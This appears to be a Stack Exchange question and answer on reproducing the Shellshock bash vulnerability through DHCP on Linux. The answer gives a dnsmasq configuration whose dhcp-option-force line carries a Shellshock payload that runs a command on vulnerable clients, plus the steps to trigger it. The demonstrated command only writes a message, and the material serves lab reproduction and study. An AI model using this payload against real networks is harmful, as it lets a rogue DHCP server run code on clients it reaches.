Information Security Stack Exchange is a question and answer site for information security professionals. It only takes a minute to sign up.
Sign up to join this community
An attacker can exploit the bash bug in the DHCP protocol. On searching , how this can be performed , I found "http://www.sectechno.com/2014/09/28/shellshock-dhcp-server-exploitation/" , but could not found any tutorial showing it on linux machine.
Please explain, how it can used to attack on clients using dhcp server on linux. What configurations need to be done in dhcp server ?
In order to reproduce this vulnerability on *nix systems follow these steps:
Install dnsmasq. On Ubuntu machine it can be done by running following command:
sudo apt-get install dnsmasq
Add following lines to /etc/dnsmasq.conf configuration file:
interface="iface_server"
dhcp-range="ip_start","ip_end",12h
dhcp-option-force=100,() { :; }; echo 'You are going to be shocked..ShellShock !!!'>/tmp/
The vulnerable code will be inserted in dhcp-option field of the header.
Where is network interface DHCP server will be listening on, and ip_start, ip_end is the range of IP addresses that server will give out.
On target machine verify that an interface is configured to use DHCP client. It can be done by looking at the /etc/network/interfaces file.
Following lines must be in the file:
auto "iface_client"
iface "iface_client" inet dhcp
On vulnerable machine enter following command:
sudo ifdown "iface_client" && sudo ifup "iface_client"
Where iface_client is network interface DHCP client will acquire IP address for.
Note that iface_server and iface_client must be connected to the same network.
